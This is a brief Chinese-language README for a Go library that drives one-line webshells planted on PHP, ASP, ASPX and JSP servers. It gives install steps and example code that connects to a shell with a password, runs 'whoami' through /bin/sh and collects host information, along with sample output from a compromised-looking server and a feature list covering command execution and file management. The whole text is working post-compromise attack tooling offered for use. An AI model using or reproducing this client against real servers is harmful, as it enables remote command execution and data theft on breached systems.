使用go连接常见一句话木马,进行文件管理和命令执行,获取基本信息等功能
go get github.com/zyylhn/gowebshell
//必须指定一句地址,和链接密码,其他选择性指定
webshell,_:=gowebshell.NewWebshell("http://172.16.95.24/test.php","cc123","",nil)
//执行命令,必须要执行命令的目录,命令和使用的shell,windows只能使用cmd,和脚本类型
cmd,_:=webshell.ExecCommand("/usr","whoami","/bin/sh", gowebshell.PhpScriptCmd,nil)
//命令结果存在cmd的result中
fmt.Println(cmd.Result)
//获取基本信息,指定脚本类型
info,_:=webshell.GetBaseInfo(gowebshell.JspScriptBaseInfo,nil)
fmt.Println(info)
以上会输出
www-data
&{/var/www/html / Linux kali 5.10.0-kali3-amd64 #1 SMP Debian 5.10.13-1kali1 (2021-02-08) x86_64 www-data}
- 支持php
- 支持aspx
- jscript执行
- C#执行
- 支持jsp
- 支持asp
- 获取基本信息
- 执行命令
- 文件管理